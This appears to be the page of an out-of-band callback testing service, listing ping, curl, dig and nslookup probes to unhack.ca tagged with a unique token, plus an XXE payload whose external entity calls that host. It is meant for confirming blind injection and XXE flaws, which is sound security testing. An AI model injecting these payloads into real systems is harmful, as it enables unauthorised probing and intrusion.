$ ping -c1 -p 00458f6ab347132ba0ecf2e7da85bd00 unhack.ca
 
$ curl http://unhack.ca/p/458f6ab347132ba0ecf2e7da85bd
 
$ dig 458f6ab347132ba0ecf2e7da85bd @unhack.ca
 
$ dig 458f6ab347132ba0ecf2e7da85bd.ns.unhack.ca
 
C:\> nslookup 458f6ab347132ba0ecf2e7da85bd unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/458f6ab347132ba0ecf2e7da85bd">]>
    <foo>&xxe;</foo>
Waiting for ping...